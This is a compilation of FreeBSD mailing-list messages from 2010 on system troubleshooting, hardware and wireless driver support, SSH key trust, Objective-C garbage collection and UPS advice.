> If you just get it once in a while, it can be safely ignored. If you
> get it on every connection, your TLS is broken. If you get it fairly
> consistently with some specific client, maybe that client has a busted
> TLS implementation.
>
> -- Noel Jones
Hi Noel,
I always had TLS enabled and it has always worked. I use Dovecot with
TLS and it is not logging any errors.
This whole thing started after I updated to FreeBSD-7.3 pre-release
from version 7.2 last week. Every sending attempt produces this error
although the mail does go through whether it is to someone on the same
network or to an entirely different domain.
Do you have any good idea how I can debug this?
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On Tue, Mar 09, 2010 at 02:45:22PM +0900, oscar Seo wrote:
> I'm using FreeBSD 6.4 + windowmaker in IBM notebook.
> I edited /etc/rc.conf to use LAN other ip address is different from my home
> address in my school.
> I got error message from this
> [
> /etc/rc.conf: 131: Syntax error: Unterminated quoted string
> Enter full pathname of shell or RETURN for /bin/sh:
> ]
> so that I returned, I decided to edit /etc/rc.conf using vi.
> But freebsd didn't find vi, less any other application.
> I can't modify even if read /etc/rc.conf.
> fortunately I can use cat so I found my fault sting from /etc/rc.conf but I
> can't modify any files cause the system changed into read only file system.
> How can I repair /etc/rc.conf file with fault statements using any editor?
It is because not all of your filesystems are mounted.
Probably you can gett away with just doing
fsck -a
mount -u
mount -a
>From then you can edit.
If it will not run the fsck or the mount -a, then you will have
to reboot in to single user mode and do the above.
////jerry
>
> Thanks in advanced.
> Oscar
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Gary Kline wrote:
> Well, first time this happened since I got my Dell 8200.
> It suddenly died. I just finished sending an email a few
> minutes earlier. I'm writing from my only other live
> non-server. The KVM switch was mis-installed so I can't
> KVM over to my DNS server.
>
> Does this happen often with Dells? What should I be
> looking for to replace the 8200.
>
> thanks for any suggestions.
>
Aloha Gary,
Dell sudden death. In my experience means a hardware failure.
EG: Two weeks ago I consulted for a friend in IT on a dead Dell server
with the removable hard drives. It turned out to be a faulty back plate
where the HD's fitted in so all 4 were not working. Dell had to send a
replacement backplate to replace the bad one.
If you can find anyone on a list with one of your type maybe they can
help you. Dell doesnt always use the same hardware in the same model
computer btw.
Check all the cables and power supply connections and re-seat everything
in the box. Something may have walked out of the board.
~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740
+ http://hawaiidakine.com + http://freebsdinfo.org +
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On Tue, Mar 9, 2010 at 12:48 AM, Olivier Nicole <Olivier.Nicole@cs.ait.ac.th
> wrote:
> > What happened to Diffie-Hellman? Last I heard, its whole point was
> > to enable secure communication, protected from both eavesdropping
> > and MIM attacks, between systems having no prior trust relationship
> > (e.g. any sort of pre-shared secret). What stops the server and
> > client from establishing a Diffie-Hellman session and using it to
> > perform the key exchange?
>
> I am not expert in cryptography, but logic tends to tell me that is I
> have no prior knowledge about the person I am about to talk to,
> anybody (MIM) could pretend to be that person.
>
> The pre-shared information need not to be secret (key fingerprints are
> not secret), but there is need for pre-shared trusted information.
>
But to some extent, we setup and configure these machines ourselves. So when
we're adding users could we not have an additional field with something like
a phrase/answer or something else like that? Obviously it could be
completely optional but it would be kind of neat and probably not too
difficult to implement.
Mark
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On Mar 9, 2010 5:02 PM, "Jerry" <gesbbb@yahoo.com> wrote:
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> Maybe you didn't have TLS enabled before?
>
> Anyway, this message caused by the other end disco...
Hi Noel,
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On Tue, Mar 09, 2010 at 02:11:54PM -1000, Al Plant wrote:
> Gary Kline wrote:
> >Well, first time this happened since I got my Dell 8200.
> >It suddenly died. I just finished sending an email a few
> >minutes earlier. I'm writing from my only other live
> >non-server. The KVM switch was mis-installed so I can't
> >KVM over to my DNS server.
> >
> >Does this happen often with Dells? What should I be
> >looking for to replace the 8200.
> >
> >thanks for any suggestions.
> >
> Aloha Gary,
>
> Dell sudden death. In my experience means a hardware failure.
>
> EG: Two weeks ago I consulted for a friend in IT on a dead Dell server
> with the removable hard drives. It turned out to be a faulty back plate
> where the HD's fitted in so all 4 were not working. Dell had to send a
> replacement backplate to replace the bad one.
>
> If you can find anyone on a list with one of your type maybe they can
> help you. Dell doesnt always use the same hardware in the same model
> computer btw.
>
> Check all the cables and power supply connections and re-seat everything
> in the box. Something may have walked out of the board.
Aloha Al and thanks for responding. {god this has been a
long day... . ............}
Well, long-story-short, the most unepect thing happened: a
power surge. I did not realize that my printer was also off
until hours later. A friend helped me trace the problem and
reset my surgge-protector. ---It is worth noting that BEFORE
I got my battery [UPS], when things were dead or suddenly
went dead, i knew right away to check the surge-protector.
nutshell: things are almost back. it'll be only an hour
before everything is back.
still, this is a warning to get back on the ball and start
looking for a new desktop.
i would be much obliged for ideas on what kind of dell to buy
next. i say 'dell' because i would like to make life simple
and eventually have one kind of box. (i have three tower
computers: one is my DNS/mail/web server; one is my pfSense
firewall; one is my laptop. i COULD use the server as a
desktop, but that would be too much of a risk!
so:: should i be looking for a dual or quad? ----i am biased
toward intel because i think the AMD requires more juice. [[my
only linux server --long dead-- seemed to suck 100w to 107w as
a minimum.]]
suggestions?
gary
ps:: if anyboy in the seattle area can come by and fix my KVM
wiring, i can pay for your gasoline, but that's about it... .
>
> ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740
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On Sun, Feb 7, 2010 at 02:38, James Colannino <james@colannino.org> wrote:
> Hey everyone,
>
> I have an Asus EEE PC 1005HA, which has an Atheros 9285 wireless chipset.
> I discovered that Rui Paulo wrote a driver, and put up a patch for the 8.0
> stable kernel here:
>
> http://people.freebsd.org/~rpaulo/ar9285_stable_8.diff<http://people.freebsd.org/%7Erpaulo/ar9285_stable_8.diff>
>
> It seems to have worked for some people. After patching and re-compiling
> my kernel, it did manage to detect the device on my machine, but
> unfortunately, I'm unable to scan for networks or associate with my network.
> Here's what happens:
>
> The machine boots, and I see the ath0 interface when I run ifconfig. I
> then run the command 'ifconfig wlan0 create wlandev ath0' and successfully
> create wlan0. However, when I run the command 'ifconfig wlan0 scan', the
> command doesn't seem to do anything, and I eventually have to CTRL-C it.
>
> Has anybody else had this problem? Is it a known issue? Maybe I'm doing
> something wrong? It was mentioned that testers were needed for this driver,
> and I'd love to help out if possible. If anybody wants me to send any
> additional information, just let me know.
>
> Thanks so much everyone!
>
> James
>
> Sorry to dredge up an old thread, but has this driver been committed to
STABLE yet, or do we still need to apply the patch? I am about to embark on
installing FreeBSD on this exact model with the exact wifi chip.
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On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline <kline@thought.org> wrote:
> Aloha Al and thanks for responding. {god this has been a
> long day... . ............}
>
> Well, long-story-short, the most unepect thing happened: a
> power surge. I did not realize that my printer was also off
> until hours later. A friend helped me trace the problem and
> reset my surgge-protector. ---It is worth noting that BEFORE
> I got my battery [UPS], when things were dead or suddenly
> went dead, i knew right away to check the surge-protector.
>
> nutshell: things are almost back. it'll be only an hour
> before everything is back.
>
> still, this is a warning to get back on the ball and start
> looking for a new desktop.
>
> i would be much obliged for ideas on what kind of dell to buy
> next. i say 'dell' because i would like to make life simple
> and eventually have one kind of box. (i have three tower
> computers: one is my DNS/mail/web server; one is my pfSense
> firewall; one is my laptop. i COULD use the server as a
> desktop, but that would be too much of a risk!
>
> so:: should i be looking for a dual or quad? ----i am biased
> toward intel because i think the AMD requires more juice. [[my
> only linux server --long dead-- seemed to suck 100w to 107w as
> a minimum.]]
>
> suggestions?
>
I don't really think much of Dell consumer level products or support. While
they aren't the worst out there, it still doesn't make it very compelling
for me. Depending on your resources(money) you might consider something
like this:
http://www.ixsystems.com/apollo
While more money than you'd probably spend with dell, here's a couple
reasons to consider it further.
1. Out the Box compatibility
2. Great hardware support/warranty service
3. Vendor backing of your OS
4. Long term upgradability, this will serve you better than any emachine.
5. ixsystems is a large supporter of FreeBSD
I believe the TCO of something like that is lower than most alternatives.
One further thought is I don't see a lot sense in the requirement "must be a
dell, cause the other ones I have are dell" given the amount of machines you
run. To me, it would make more sense to standardize on something like cpu,
so that you could run one as a build system/package repository. I know that
settling on one vendor generally means you only need one source for warranty
work, but with stickers on cases and online accounts this isn't such an
issue anymore.
--
Adam Vande More
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> On Sun, Feb 7, 2010 at 02:38, James Colannino <james@colannino.org> wrote:
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>> Hey everyone,
>>
>> I have an Asus EEE PC 1005HA, which has an Atheros 9285 wireless chipset.
>> I discovered that Rui Paulo wrote a driver, and put up a patch for the 8.0
>> stable kernel here:
>>
>> http://people.freebsd.org/~rpaulo/ar9285_stable_8.diff<http://people.freebsd.org/%7Erpaulo/ar9285_stable_8.diff>
>>
>> It seems to have worked for some people. After patching and re-compiling
>> my kernel, it did manage to detect the device on my machine, but
>> unfortunately, I'm unable to scan for networks or associate with my network.
>> Here's what happens:
>>
>> The machine boots, and I see the ath0 interface when I run ifconfig. I
>> then run the command 'ifconfig wlan0 create wlandev ath0' and successfully
>> create wlan0. However, when I run the command 'ifconfig wlan0 scan', the
>> command doesn't seem to do anything, and I eventually have to CTRL-C it.
>>
>> Has anybody else had this problem? Is it a known issue? Maybe I'm doing
>> something wrong? It was mentioned that testers were needed for this driver,
>> and I'd love to help out if possible. If anybody wants me to send any
>> additional information, just let me know.
>>
>> Thanks so much everyone!
>>
>> James
>>
>> Sorry to dredge up an old thread, but has this driver been committed to
> STABLE yet, or do we still need to apply the patch? I am about to embark on
> installing FreeBSD on this exact model with the exact wifi chip.
>
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Olivier Nicole <Olivier.Nicole@cs.ait.ac.th> wrote:
> > What happened to Diffie-Hellman? Last I heard, its whole
> > point was to enable secure communication, protected from both
> > eavesdropping and MIM attacks, between systems having no prior
> > trust relationship (e.g. any sort of pre-shared secret) ...
>
> I am not expert in cryptography ...
Nor am I
> but logic tends to tell me that is I have no prior knowledge about
> the person I am about to talk to, anybody (MIM) could pretend to
> be that person.
>
> The pre-shared information need not to be secret ... but there is
> need for pre-shared trusted information.
Er, if the pre-shared information is not secret, how can I be sure
that the person presenting it is in fact my intended correspondent
and not a MIM? My impression is that Diffie-Hellman (somehow) solves
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On 10/03/2010 03:34:52, Gary Kline wrote:
> Well, long-story-short, the most unepect thing happened: a
> power surge. I did not realize that my printer was also off
> until hours later. A friend helped me trace the problem and
> reset my surgge-protector. ---It is worth noting that BEFORE
> I got my battery [UPS], when things were dead or suddenly
> went dead, i knew right away to check the surge-protector.
Uh -- if you have a UPS, why are you using a surge protector as well?
The function of a UPS is to condition your power supply. It puts
out clean 110/220V 50/60Hz power (depending on where you live)
irrespective of what it is getting from the mains. That is, the UPS
also does all the surge protection function itself. Not only that, it
should cope with surges by absorbing them, rather than blowing a circuit
breaker, so it carries on running after the surge is over.
Admittedly some UPS designs are better than others -- inline UPSes are
the best, but tend to be more expensive. These work by converting the
input to DC and then converting back to AC. Cheaper UPSes monitor the
characteristics of the incoming current and switch to battery power if
it is out of specification, which is not really failsafe.
Also, didn't your UPS sound the alarm? They are normally too loud to
ignore easily.
Cheers,
Matthew
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On 10/03/10 07:16, perryh@pluto.rain.com wrote:
>> but logic tends to tell me that is I have no prior knowledge about
>> the person I am about to talk to, anybody (MIM) could pretend to
>> be that person.
True. Cryptography by it self does not solve the identity problem.
>> The pre-shared information need not to be secret ... but there is
>> need for pre-shared trusted information.
>
> Er, if the pre-shared information is not secret, how can I be sure
> that the person presenting it is in fact my intended correspondent
> and not a MIM? My impression is that Diffie-Hellman (somehow) solves
> this sort of problem.
The preshared information, in this case the key fingerprint, is a
fingerprint of the public key, without this, you cannot produce the
fingerprint.
Yes, the fingerprint is calculated from the public key, which is .. er
.. public, but that's not a problem since anything encrypted with the
public key can only be decrypted by the owner of the private key.
In the session setup public keys are exchanged, on the basis of this key
you calculate the fingerprint and compare with the one you have stored.
If they do not match, connection is closed.
So, the MIM attack must be launched the very first time a user connects.
This is where the user trusts the identity of the owner of the private
key. The known_hosts file is only kept so you don't have to verify and
trust the key every time.
If you worry about that kind of attack, then you should provide a method
for verifying the fingerprint through a different channel, say users
call support and have them read out the fingerprint, publish it on some
separate server, or pre-install it on their computer when the account is
created.
Diffie-Hellman does not solve this problem. DH is a protocol for
agreeing on a shared secret in public, but it does not solve the
identity problem.
BR, Erik
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Running FreeBSD 8.0 32 bit PAE kernel, latest ports.
My current hobby is to experiment more with Objective-C. I'm
rewriting some of my old Java code in Objectve-C to get a better
feeling for how this language works.
I'm finally able to write, compile, and run Objective-C programs after
learning about this the whole day. i noticed that the gcc42 compiler
from ports is necessary as it contains the parts that are able to
compile Objective-C. I realized that gcc43, gcc44, and gcc45 from
ports are _not_ able to compile Objective-C.
So my real question is this. The supposed feature called "garbage
collection" that eliminates the need for "retain" and "release" syntax
in Objective-C - has anyone gotten it to work? Frankly, I'm not even
sure if Objective-C framework on my FreeBSD server is supporting
Objective-C 2.0 or an older version; I have not gotten as far as
knowing which language constructs exist in 2.0 but not in earlier
versions. But for right now I'm just trying to get automatic garbage
collection to work, which I know is a new feature in 2.0.
So, I've written a simple program that instantiates objects over and
over again, and loses references to them. Like so:
#import "GarbageObj.h"
int main(int argc, const char *argv[]) {
while (YES) {
GarbageObj *obj = [[GarbageObj alloc] init];
[obj foo]; // foo is does literally nothing.
}
return 0;
}
I am compiling this program and running it, and without the "release"
calls there, it certainly is using up more and more memory every
second. Definitely no garbage collection happening. I then modified
the GNUmakefile to make sure that the option "-fobjc-gc" was being
passed to gcc, and verbose output from make assured me that this was
the case. However, my program sill did not garbage collect (3 gigs of
RAM, then a segfault). I then tried the gcc option "-fobjc-gc-only"
and gcc42 reported that it did not recognize that option. The options
are described here:
http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html
.
So, I can't really try the newer compilers from ports because they
don't do Objective-C, and even so, I don't know if that would have any
effect on garbage collection.
Has anyone had success in writing Objectve-C programs on FreeBSD that
have automated garbage collection? Does anyone know if this is
Objective-C 2.0 I'm dealing with? How do I get this to work? For
reference, here is a diff of packages installed today as a result of
trying out Objective-C:
> aspell-0.60.6_2:textproc/aspell
> cups-client-1.4.2_4:print/cups-client
> ffcall-1.10_1:devel/ffcall
> fontconfig-2.8.0,1:x11-fonts/fontconfig
> gcc-4.2.5.20090325_2:lang/gcc42
> giflib-nox11-4.1.6:graphics/giflib
> gnustep-back-0.17.1_1:x11-toolkits/gnustep-back
> gnustep-base-1.19.3:lang/gnustep-base
> gnustep-gui-0.17.1_1:x11-toolkits/gnustep-gui
> gnustep-make-2.2.0_1:devel/gnustep-make
> gnutls-2.8.3:security/gnutls
> jbigkit-1.6:graphics/jbigkit
> libXft-2.1.14:x11-fonts/libXft
> libXrender-0.9.4_1:x11/libXrender
> libaudiofile-0.2.6_1:audio/libaudiofile
> libgmp-4.3.2:math/libgmp4
> mpfr-2.4.2:math/mpfr
> portaudio-19.20071207:audio/portaudio2
> renderproto-0.9.3:x11/renderproto
> tiff-3.9.2_1:graphics/tiff
- Nerius
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Hi,
I am interested in buying a laptop from the
Dell Inspiron 15 series. Most of them are having
a wifi card branded as 'Dell Wireless 1397'.
Is there a driver for this?
I would prefer a native driver, but success
stories using it with NDIS or other general
comments regarding the Dell Inspiron 15 series
are welcome.
Thanks, Nikos
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On 09/03/2010 17:58, Pongthep Kulkrisada wrote:
> * RW (rwmaillists@googlemail.com) wrote:
>> that should be RELENG_8_0
> Sorry for typo, but actually I only appended to the existing supfile.
> Thing goes well.
>
>> Stable is a stable development branch, if you want to use
>> freebsd-update you need to use a proper release security branch.
> Does that mean -STABLE can not use freebsd-update?
> If so, I am clear now because I encountered the problem
> when I used freebsd-update from -STABLE. It failed.
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If you're using STABLE you won't be able to update the base system using
freebsd-update, use csup for that purpose.
Also have a look to freebsd-update man page, the Description section
explains the tool's purpose.
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>
> =A0I am interested in buying a laptop from the
> Dell Inspiron 15 series. Most of them are having
> a wifi card branded as 'Dell Wireless 1397'.
> Is there a driver for this?
>
> I would prefer a native driver, but success
> stories using it with NDIS or other general
> comments regarding the Dell Inspiron 15 series
> are welcome.
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> Thanks, Nikos
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Hello,
>From a quick google query this card should have a Broadcom BCM43xx chipset.
http://www.freebsd.org/cgi/man.cgi?query=3Dbwi
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On 3/10/2010 12:13 PM, George Liaskos wrote:
> On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis<nvass9573@gmx.com> wrote:
>> Hi,
>>
>> I am interested in buying a laptop from the
>> Dell Inspiron 15 series. Most of them are having
>> a wifi card branded as 'Dell Wireless 1397'.
>> Is there a driver for this?
>>
>> I would prefer a native driver, but success
>> stories using it with NDIS or other general
>> comments regarding the Dell Inspiron 15 series
>> are welcome.
>>
>
> Hello,
>
>> > From a quick google query this card should have a Broadcom BCM43xx chipset.
> http://www.freebsd.org/cgi/man.cgi?query=bwi
Thanks, but I've already done the quick google and
the not-so-quick google look. The results were not
that positive. Do you know by personal experience
that this card is working with bwi driver?
Or at least with NDIS and amd64?
Thanks, Nikos
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On 2010-03-10 11:05, Nikos Vassiliadis wrote:
> Hi,
>
> I am interested in buying a laptop from the
> Dell Inspiron 15 series. Most of them are having
> a wifi card branded as 'Dell Wireless 1397'.
> Is there a driver for this?
>
> I would prefer a native driver, but success
> stories using it with NDIS or other general
> comments regarding the Dell Inspiron 15 series
> are welcome.
>
> Thanks, Nikos
>
I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not
supported then by FreeBSD. I got an Intel card from Dell instead and the
iwn driver works well.
http://forums.freebsd.org/showthread.php?t=8041
/Leslie
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Hi,
> > The pre-shared information need not to be secret ... but there is
> > need for pre-shared trusted information.
> Er, if the pre-shared information is not secret, how can I be sure
> that the person presenting it is in fact my intended correspondent
> and not a MIM?
That is why I wrote "trusted", I don't assume how this is trusted, but
I need to trust it.
If I am 100% sure the fingerprint comes from the right guy, I can
easily test that the fingerprint corresponds to the intended public
key, so that the publick key effectively belongs to the right guy, and
crypting with that public key, only the right guy with his provate key
will be able to read my message.
Now Diffie-Hellman may help providing the trust for the fingerprint.
Bests,
Olivier
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On Wed, Mar 10, 2010 at 10:34 AM, Nikos Vassiliadis <nvass9573@gmx.com> wro=
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> On 3/10/2010 12:13 PM, George Liaskos wrote:
>>
>> On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis<nvass9573@gmx.com>
>> =A0wrote:
>>>
>>> Hi,
>>>
>>> =A0I am interested in buying a laptop from the
>>> Dell Inspiron 15 series. Most of them are having
>>> a wifi card branded as 'Dell Wireless 1397'.
>>> Is there a driver for this?
>>>
>>> I would prefer a native driver, but success
>>> stories using it with NDIS or other general
>>> comments regarding the Dell Inspiron 15 series
>>> are welcome.
>>>
>>
>> Hello,
>>
>>> > From a quick google query this card should have a Broadcom BCM43xx
>>> > chipset.
>>
>> http://www.freebsd.org/cgi/man.cgi?query=3Dbwi
>
> Thanks, but I've already done the quick google and
> the not-so-quick google look. The results were not
> that positive. Do you know by personal experience
> that this card is working with bwi driver?
>
> Or at least with NDIS and amd64?
>
> Thanks, Nikos
>
No, i do not have this card but i trust the man pages :)
I found this post :
http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i
>0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev 01=
)
Maybe what you find is based on experiences before May 16, 2009?
Regards
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On 3/10/2010 12:41 PM, Leslie Jensen wrote:
> I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not
> supported then by FreeBSD. I got an Intel card from Dell instead and the
> iwn driver works well.
>
> http://forums.freebsd.org/showthread.php?t=8041
I guess you have not looked back to 'Dell Wireless 1397'
with a recent FreeBSD?
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On Wednesday 10 March 2010 11:00:03 George Liaskos wrote:
> On Wed, Mar 10, 2010 at 10:34 AM, Nikos Vassiliadis <nvass9573@gmx.com>
wrote:
> > On 3/10/2010 12:13 PM, George Liaskos wrote:
> >> On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis<nvass9573@gmx.com>
> >>
> >> wrote:
> >>> Hi,
> >>>
> >>> I am interested in buying a laptop from the
> >>> Dell Inspiron 15 series. Most of them are having
> >>> a wifi card branded as 'Dell Wireless 1397'.
> >>> Is there a driver for this?
> >>>
> >>> I would prefer a native driver, but success
> >>> stories using it with NDIS or other general
> >>> comments regarding the Dell Inspiron 15 series
> >>> are welcome.
> >>
> >> Hello,
> >>
> >>> > From a quick google query this card should have a Broadcom BCM43xx
> >>> > chipset.
> >>
> >> http://www.freebsd.org/cgi/man.cgi?query=bwi
> >
> > Thanks, but I've already done the quick google and
> > the not-so-quick google look. The results were not
> > that positive. Do you know by personal experience
> > that this card is working with bwi driver?
> >
> > Or at least with NDIS and amd64?
> >
> > Thanks, Nikos
>
> No, i do not have this card but i trust the man pages :)
>
> I found this post :
> http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i
>
> >0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev
> > 01)
>
> Maybe what you find is based on experiences before May 16, 2009?
>
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I have 8-STABLE amd64
I have a dell vostro 1320 with a 4315 wireless and got it working with the bwn
driver from HEAD (svn) and the net/bwn-firmware-kmod port.
--
Mario Lobo
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> Now Diffie-Hellman may help providing the trust for the fingerprint.
>
No it won't. Trust goes either via a trusted third party as in PKI or
the pgp chain of trust or via direct verification. In the latter case
if you cannot establish trust, call up the owner to verify his key.
BR erik
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Subject: Re: is there a native driver for 'Dell Wireless 1397'?
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On 3/10/2010 1:00 PM, George Liaskos wrote:
> No, i do not have this card but i trust the man pages :)
Me too. Yet I will not buy new/non-mainstream hardware based on
the manual. Hence the question...
All I am looking for is an "I have and it works with FreeBSD-[89]
and amd64|x86".
> I found this post :
> http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i
>
>> 0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g
(rev 01)
>
> Maybe what you find is based on experiences before May 16, 2009?
Yes, prior to the 8.0 release.
All I find online is about failure and references about the driver
being included in FreeBSD-8 branch.
Nikos
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On 3/10/2010 10:50 AM, Mario Lobo wrote:
> I have 8-STABLE amd64
>
> I have a dell vostro 1320 with a 4315 wireless and got it working with the bwn
> driver from HEAD (svn) and the net/bwn-firmware-kmod port.
That's good to hear, thanks!
Nikos
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Subject: Re: is there a native driver for 'Dell Wireless 1397'?
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On 2010-03-10 12:31, Nikos Vassiliadis wrote:
> On 3/10/2010 12:41 PM, Leslie Jensen wrote:
>> I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not
>> supported then by FreeBSD. I got an Intel card from Dell instead and the
>> iwn driver works well.
>>
>> http://forums.freebsd.org/showthread.php?t=8041
>
> I guess you have not looked back to 'Dell Wireless 1397'
> with a recent FreeBSD?
>
> _______________________________________________
No!
I think you can alter the configuration of the pc before you buy it. So
the cost should not be so big. I think I payed about 20$ extra for the
Intel card.
/Leslie
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Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone?
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On Wed, Mar 10, 2010 at 01:00:59AM -0800, Nerius Landys wrote:
> #import "GarbageObj.h"
>
> int main(int argc, const char *argv[]) {
> while (YES) {
> GarbageObj *obj = [[GarbageObj alloc] init];
> [obj foo]; // foo is does literally nothing.
> }
> return 0;
> }
>
> I am compiling this program and running it, and without the "release"
> calls there, it certainly is using up more and more memory every
> second. Definitely no garbage collection happening. I then modified
> the GNUmakefile to make sure that the option "-fobjc-gc" was being
> passed to gcc, and verbose output from make assured me that this was
> the case. However, my program sill did not garbage collect (3 gigs of
> RAM, then a segfault). I then tried the gcc option "-fobjc-gc-only"
> and gcc42 reported that it did not recognize that option. The options
> are described here:
> http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html
While I am not very familiar with Objective C, I can tell you that GC
generally runs in the background, using idle time to scavenge memory.
(It's not counted pointers, synchronously freeing memory immediately.)
So if you race to allocate memory in an infinite loop like this, you are
destined to exhaust memory, GC or no, unless the runtime is designed to
force a GC on alloc in low memory conditions.
Try putting some sort of sleep in the middle of your loop and see if GC
kicks in and you get more of a sawtooth memory usage pattern.
Alex
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in message <201003100850.58321.lobo@bsd.com.br>,
wrote Mario Lobo thusly...
>
...
> I have 8-STABLE amd64
>
> I have a dell vostro 1320 with a 4315 wireless and got it working
> with the bwn driver from HEAD (svn) and the net/bwn-firmware-kmod
> port.
Mario, do WPA & WPA2 work with the card?
- parv
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http://blogs.open.collab.net/svn/2009/07/index.html tells that to be able to
cache passwords in gnome keyring or in kwallet, the subverison binaries must
be compiled with the respective options --with-gnome-keyring and
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# cd /usr/ports/devel/subversion
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How to do it ?
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2010/3/10 Nikos Vassiliadis:
> All I am looking for is an "I have and it works with FreeBSD-[89]
> and amd64|x86".
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#pciconf -lvcb
none0@pci0:3:0:0: class=0x028000 card=0x137d103c chip=0x431514e4
rev=0x01 hdr=0x00
vendor = 'Broadcom Corporation'
device = 'BCM4310 USB Controller'
class = network
bar [10] = type Memory, range 64, base 0xd8200000, size 16384, enabled
cap 01[40] = powerspec 3 supports D0 D1 D2 D3 current D0
cap 09[58] = vendor (length 120)
cap 05[e8] = MSI supports 1 message, 64 bit
cap 10[d0] = PCI-Express 1 endpoint
FreeBSD 8.0 i386
WLAN works fine via NDIS with WPA2
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I have a directory with over 180,000 files in 4 subdirectories. Over 170,000
of the files are in one of the subdirectories. The files are image files,
mostly <50K. The machine has 2 GB RAM.
What would be a reasonable setting for vfs.ufs.dirhash_maxmem? Is there a
disadvantage to setting vfs.ufs.dirhash_maxmem too high?
Is there any other setting to change to find files faster in a directory with
such large number of files?
Thank you for your advice.
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Are there any good instructions for creating a customized bootable .iso ima=
ge? I've done the work for creating a bootable USB image, but a .iso is a d=
ifferent beast in that the boot media is read-only and a virtual disk has t=
o be created as part of the boot process. Any pointers would be appreciated=
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In some passed projects of mine where large quantities of image files had to
be referenced I used a hierarchical tree structure based on the filename.
For example:
instead of '/disk/images/0018391.jpg' I used '/disk/images/10000/8/3/91.jpg'
instead of '/disk/images/abcdsomename.jpg' I used
'/disk/images/a/b/cdsomename.jpg'
In most cases it was to store large amounts of small image files to
reference from web-apps and such with a database key. Usually I tried to
work either numerically or alphabetically scaling to the database itself.
This also allows you to (if needed) use multiple disks/mount-points down the
line if the scale grows (ie: move /disk/images/a or /disk/images/10000 to a
dedicated disk/mount if room runs out or for performance reasons).
Not sure on the system-side what the advantages versus using a single large
directory will be - but I noted it was a much easier way to maintain things
and scaled very well (in one case had a directory with well over a million
images tied to a database of a product catalog, we broke it down by
department/section and then by numeric key and eventually had to dedicate
larger/faster storage to certain sections thus off-loading the work from
all-in-one and requiring minimal effort to do so).
Food for thought anyways - hope it helps.
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On Wed, Mar 10, 2010 at 11:51 AM, Janos Dohanics <web@3dresearch.com> wrote:
> I have a directory with over 180,000 files in 4 subdirectories. Over
> 170,000
> of the files are in one of the subdirectories. The files are image files,
> mostly <50K. The machine has 2 GB RAM.
>
> What would be a reasonable setting for vfs.ufs.dirhash_maxmem? Is there a
> disadvantage to setting vfs.ufs.dirhash_maxmem too high?
>
> Is there any other setting to change to find files faster in a directory
> with
> such large number of files?
>
> Thank you for your advice.
>
> --
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Hi.
You can do this with the native "make release" process for freebsd.
http://www.freebsd.org/doc/en_US.ISO8859-1/articles/releng/release-build.html
Is this what you are looking for?
On Wed, Mar 10, 2010 at 12:17:58PM -0600, Peter Steele thus spake:
>Are there any good instructions for creating a customized bootable .iso image? I've done the work for creating a bootable USB image, but a .iso is a different beast in that the boot media is read-only and a virtual disk has to be created as part of the boot process. Any pointers would be appreciated.
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On Wed, Mar 10, 2010 at 07:23:30AM +0000, Matthew Seaman wrote:
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> On 10/03/2010 03:34:52, Gary Kline wrote:
> > Well, long-story-short, the most unepect thing happened: a
> > power surge. I did not realize that my printer was also off
> > until hours later. A friend helped me trace the problem and
> > reset my surgge-protector. ---It is worth noting that BEFORE
> > I got my battery [UPS], when things were dead or suddenly
> > went dead, i knew right away to check the surge-protector.
>
> Uh -- if you have a UPS, why are you using a surge protector as well?
> The function of a UPS is to condition your power supply. It puts
> out clean 110/220V 50/60Hz power (depending on where you live)
> irrespective of what it is getting from the mains. That is, the UPS
> also does all the surge protection function itself. Not only that, it
> should cope with surges by absorbing them, rather than blowing a circuit
> breaker, so it carries on running after the surge is over.
>
> Admittedly some UPS designs are better than others -- inline UPSes are
> the best, but tend to be more expensive. These work by converting the
> input to DC and then converting back to AC. Cheaper UPSes monitor the
> characteristics of the incoming current and switch to battery power if
> it is out of specification, which is not really failsafe.
>
> Also, didn't your UPS sound the alarm? They are normally too loud to
> ignore easily.
>
(This is all new to me, first, and I do not have
everything plugged into the UPS, second. I don't have
the unit fully configured [via X11] so want to keep the
load as light as possible. )
The unit is an APC manufacture; should be closer to the
top of the line -- that's just my guess. What happened
yesterday morning was that my DNS and firewall, router
and widescreen kept on working ... :-D Now it's time for
me to finish the task on upgrading and maintenance.
Trying to decide whether to build another home-brew
computer or buy one off the shelf.
gary
> Cheers,
>
> Matthew
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On Tue, Mar 09, 2010 at 10:04:26PM -0600, Adam Vande More wrote:
> On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline <kline@thought.org> wrote:
>
> > Aloha Al and thanks for responding. {god this has been a
> > long day... . ............}
> >
> > Well, long-story-short, the most unepect thing happened: a
> > power surge. I did not realize that my printer was also off
> > until hours later. A friend helped me trace the problem and
> > reset my surgge-protector. ---It is worth noting that BEFORE
> > I got my battery [UPS], when things were dead or suddenly
> > went dead, i knew right away to check the surge-protector.
> >
> > nutshell: things are almost back. it'll be only an hour
> > before everything is back.
> >
> > still, this is a warning to get back on the ball and start
> > looking for a new desktop.
> >
> > i would be much obliged for ideas on what kind of dell to buy
> > next. i say 'dell' because i would like to make life simple
> > and eventually have one kind of box. (i have three tower
> > computers: one is my DNS/mail/web server; one is my pfSense
> > firewall; one is my laptop. i COULD use the server as a
> > desktop, but that would be too much of a risk!
> >
> > so:: should i be looking for a dual or quad? ----i am biased
> > toward intel because i think the AMD requires more juice. [[my
> > only linux server --long dead-- seemed to suck 100w to 107w as
> > a minimum.]]
> >
> > suggestions?
> >
>
> I don't really think much of Dell consumer level products or support. While
